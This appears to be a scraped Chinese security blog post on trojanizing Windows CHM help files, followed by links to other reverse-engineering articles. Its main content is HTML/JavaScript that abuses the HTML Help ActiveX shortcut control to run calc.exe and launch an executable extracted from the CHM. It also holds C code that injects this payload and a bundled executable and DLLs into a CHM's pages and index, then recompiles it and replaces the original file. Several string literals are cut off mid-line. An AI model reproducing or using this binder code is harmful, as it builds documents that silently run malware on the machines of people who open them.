<div id="t0"></div><OBJECT id=demo classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value=',calc.exe'></OBJECT>demo.Click();</SCRIPT>

<div id="t0"></div><OBJECT id=copy classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value=',xcopy,C:\Windows\SysWOW64\hh.exe /N C:\Users\Public\Dow</OBJECT><OBJECT id=call classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command"value="ShortCut"><PARAM name="Button"value="Bitmap::shortcut"><PARAM name="Item1"value = ',path'></OBJECT><SCRIPT>var str=location.href;var commodStr0 ='<OBJECT id=decompile classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1'<PARAM name="Command" value="ShortCut0">' +'<PARAM name="Button" value="Bitmap::shortcut0">' +'<PARAM name="Item1" value=",C:\\Users\\Public\\Downloads\\Temp\\hh.exe,-decompile'</OBJECT>';var sleep = function(time) {    var startTime = new Date().getTime() + parseInt(time, 10);    while (new Date().getTime() < startTime) {}};copy.Click();sleep(100);document.getElementById('t0').innerHTML = commodStr0;decompile.Click();sleep(100);call.Click();</SCRIPT>

int InitEnv() {    char szHhcPath[MAX_PATH];    char szHhaPath[MAX_PATH];    GetTempPath(MAX_PATH, szTempPath);    strcpy(szHhcPath, szTempPath);    strcat(szHhcPath, "hhc.exe");    strcpy(szHhaPath, szTempPath);    strcat(szHhaPath, "hha.dll");    if (ReleaseRes(IDR_BIN2, szHhcPath)        && ReleaseRes(IDR_BIN3, szHhaPath)) {        return TRUE;    }    return FALSE;}

void InsertCode(char* szChmPath, char* szOutDir) {    // 遍历目录    char szFindPath[MAX_PATH] = { 0 };    char szHhcPath[MAX_PATH] = { 0 };    char szHhkPath[MAX_PATH] = { 0 };    // 临时文件路径    char szTmpPath[MAX_PATH] = { 0 };    // 一行文本数据    char szLine[MAX_PATH] = { 0 };    // 首页文件的绝对路径    char szFirstPath[MAX_PATH] = { 0 };    // 临时文件    FILE* pTmp;    // 是否已插入数据    int bInsert = FALSE;    //ReleaseRes()    strcat(szFindPath, (char*)szOutDir);    strcat(szFindPath, "\\*");    WIN32_FIND_DATA wfd = { 0 };    HANDLE hFile = FindFirstFileA(szFindPath, &wfd);    if (hFile != INVALID_HANDLE_VALUE) {        do {            if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {                continue;            }            char* suffix = strrchr(wfd.cFileName, '.');            // 在编译内容文件HHK中新增捆绑文件            if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) {                bInsert = FALSE;                sprintf(szHhkPath, "%s\\%s", szOutDir, wfd.cFileName);                sprintf(szTmpPath, "%s\\%s", szOutDir, "tmp.hhk");                FILE* pHhc = fopen(szHhkPath, "r+");                FILE* pTmp = fopen(szTmpPath, "w");                while (fgets(szLine, MAX_PATH, pHhc)) {                    // 在第一次出现"<LI> <OBJECT type="的上一行插入数据                    if (strstr(szLine, "<LI> <OBJECT type=") && !bInsert) {                        fputs(szInsertHhk, pTmp);                        bInsert = TRUE;                    }                    fputs(szLine, pTmp);                }                fclose(pTmp);                fclose(pHhc);                // 用tmp.hhk替换原本的hhk                CopyFile(szTmpPath, szHhkPath, FALSE);                DeleteFile(szTmpPath);            }            // 在目录文件HHC中获取首页文件并插入代码            if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) {                sprintf(szHhcPath, "%s\\%s", szOutDir, wfd.cFileName);                FILE* pHhc = fopen(szHhcPath, "r");                strcpy(szFirstPath, szOutDir);                strcat(szFirstPath, "\\");                while (fgets(szLine, MAX_PATH, pHhc)) {                    // 第一次出现"<param name="Local" value="处为首页文件                    if (strstr(szLine, "<param name=\"Local\" value=")) {                        int dwLineLen = strlen(szLine);                        int dwIndex = strlen("\t\t<param name=\"Local\" value=\"");                        // 去除前缀和后面的" ">\n "                        strncat(szFirstPath, szLine + dwIndex, dwLineLen - dwIndex - 3);                        StrReplace(szFirstPath, "/", "\\");                        break;                    }                }                fclose(pHhc);                bInsert = FALSE;                memset(szTmpPath, 0, sizeof(szTmpPath));                strcpy(szTmpPath, szOutDir);                strcat(szTmpPath, "\\tmp.html");                pTmp = fopen(szTmpPath, "w");                FILE* pFirstFile = fopen(szFirstPath, "r");                while (fgets(szLine, MAX_PATH, pFirstFile)) {                    // 在第一次出现"<html>"的下一行插入数据                    fputs(szLine, pTmp);                    if (strstr(szLine, "<html>") && !bInsert) {                        // 添加 TencentMusic.exe                        fputs(szFirstPage, pTmp);                        bInsert = TRUE;                    }                }                fclose(pFirstFile);                fclose(pTmp);                // 用tmp.hhk替换原本的hhk                CopyFile(szTmpPath, szFirstPath, FALSE);                DeleteFile(szTmpPath);            }        } while (FindNextFileA(hFile, &wfd));    }    FindClose(hFile);}

char szInsertHhk[1024] =    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \    "\t\t<param name=\"Name\" value=\"TencentMusic\">\n"    \    "\t\t<param name=\"Local\" value=\"TencentMusic.exe\">\n"    \    "\t\t</OBJECT>\n"    \    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \    "\t\t<param name=\"Name\" value=\"qqmusic\">\n"    \    "\t\t<param name=\"Local\" value=\"qqmusic.dll\">\n"    \    "\t\t</OBJECT>\n"    \    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \    "\t\t<param name=\"Name\" value=\"msvcp100\">\n"    \    "\t\t<param name=\"Local\" value=\"msvcp100.dll\">\n"    \    "\t\t</OBJECT>\n"    \    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \    "\t\t<param name=\"Name\" value=\"msvcr100\">\n"    \    "\t\t<param name=\"Local\" value=\"msvcr100.dll\">\n"    \    "\t\t</OBJECT>\n";

char szFirstPage[2048] =    "<div id=\"t0\">\n"    \    "</div>\n"    \    "<OBJECT id=copy classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n"    \    "<PARAM name=\"Command\"value=\"ShortCut\">\n"    \    "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n"    \    "<PARAM name=\"Item1\"value=',xcopy,C:\\Windows\\SysWOW64\\hh.exe /N C:\\Users    "</OBJECT>\n"    \    "<OBJECT id=call classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n"    \    "<PARAM name=\"Command\"value=\"ShortCut\">\n"    \    "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n"    \    "<PARAM name=\"Item1\"value = ',C:\\Users\\Public\\Downloads\\Temp\\TencentMus    "</OBJECT>\n"    \    "<SCRIPT>\n"    \    "var str=location.href;\n"    \    "var commodStr0 =\n"    \    "'<OBJECT id=decompile classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\"    "'<PARAM name=\"Command\" value=\"ShortCut0\">' +\n"    \    "'<PARAM name=\"Button\" value=\"Bitmap::shortcut0\">' +\n"    \    "'<PARAM name=\"Item1\" value=\",C:\\\\Users\\\\Public\\\\Downloads\\\\Temp\\\    "'</OBJECT>';\n"    \    "var sleep = function(time) {\n"    \    "    var startTime = new Date().getTime() + parseInt(time, 10);\n"    \    "    while (new Date().getTime() < startTime) {}\n"    \    "};\n"    \    "copy.Click();\n"    \    "sleep(100);\n"    \    "document.getElementById('t0').innerHTML = commodStr0;\n"    \    "decompile.Click();\n"    \    "sleep(100);\n"    \    "call.Click();\n"    \    "</SCRIPT>\n";

void ChmCompile(char* szChmPath, char* szOutDir) {    char szFindPath[MAX_PATH] = { 0 };    char szHhpPath[MAX_PATH] = { 0 };    char szChmName[MAX_PATH] = { 0 };    char szHhkName[MAX_PATH] = { 0 };    char szHhcName[MAX_PATH] = { 0 };    char szOptions[MAX_PATH] = { 0 };    char szCompiledFile[MAX_PATH] = { 0 };    char szContentsFile[MAX_PATH] = { 0 };    char szIndexFile[MAX_PATH] = { 0 };    char szTitle[MAX_PATH] = { 0 };    char szCompileCmd[MAX_PATH] = { 0 };    char szNewChmPath[MAX_PATH] = { 0 };    strcat(szFindPath, szOutDir);    strcat(szFindPath, "\\*");    WIN32_FIND_DATA wfd = { 0 };    HANDLE hFile = FindFirstFileA(szFindPath, &wfd);    if (hFile != INVALID_HANDLE_VALUE) {        do {            if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {                continue;            }            char* suffix = strrchr(wfd.cFileName, '.');            if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) {                strcpy(szHhkName, wfd.cFileName);            }            if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) {                strcpy(szHhcName, wfd.cFileName);            }        } while (FindNextFileA(hFile, &wfd));    }    FindClose(hFile);    strcpy(szChmName, strrchr(szOutDir, '\\') + 1);    strcpy(szHhpPath, szOutDir);    strcat(szHhpPath, "\\");    strcat(szHhpPath, szChmName);    strcat(szHhpPath, ".hhp");    // 创建hhp文件    FILE* pHhpFile = fopen(szHhpPath, "wb+");     strcpy(szOptions, "[OPTIONS]\n");    fwrite(szOptions, 1, strlen(szOptions), pHhpFile);     strcpy(szCompiledFile, "Compiled file=");    strcat(szCompiledFile, szChmName);    strcat(szCompiledFile, ".chm\n");    fwrite(szCompiledFile, 1, strlen(szCompiledFile), pHhpFile);     strcpy(szContentsFile, "Contents file=");    strcat(szContentsFile, szHhcName);    strcat(szContentsFile, "\n");    fwrite(szContentsFile, 1, strlen(szContentsFile), pHhpFile);     strcpy(szIndexFile, "Index file=");    strcat(szIndexFile, szHhkName);    strcat(szIndexFile, "\n");    fwrite(szIndexFile, 1, strlen(szIndexFile), pHhpFile);     strcpy(szTitle, "Title=");    strcat(szTitle, szChmName);    strcat(szTitle, "\n");    fwrite(szTitle, 1, strlen(szTitle), pHhpFile);     fflush(pHhpFile);    fclose(pHhpFile);     strcpy(szCompileCmd, szTempPath);    strcat(szCompileCmd, "hhc.exe ");    strcat(szCompileCmd, szHhpPath);    // 编译生成修改后的chm    system(szCompileCmd);    // 用修改后的chm替换原本的chm    //DeleteFile(szChmPath);    strcpy(szNewChmPath, szOutDir);    strcat(szNewChmPath, "\\");    strcat(szNewChmPath, szChmName);    strcat(szNewChmPath, ".chm");    CopyFile(szNewChmPath, szChmPath, FALSE);    DeleteDir(szOutDir);}

• N*Protect 分析记录

• FastJson复现分析

• 《0day 安全：软件漏洞分析技术 第二版》笔记

• Rundll32的故事

• 换种方式理解 ELF 文件格式

• libsgmain反混淆及VM还原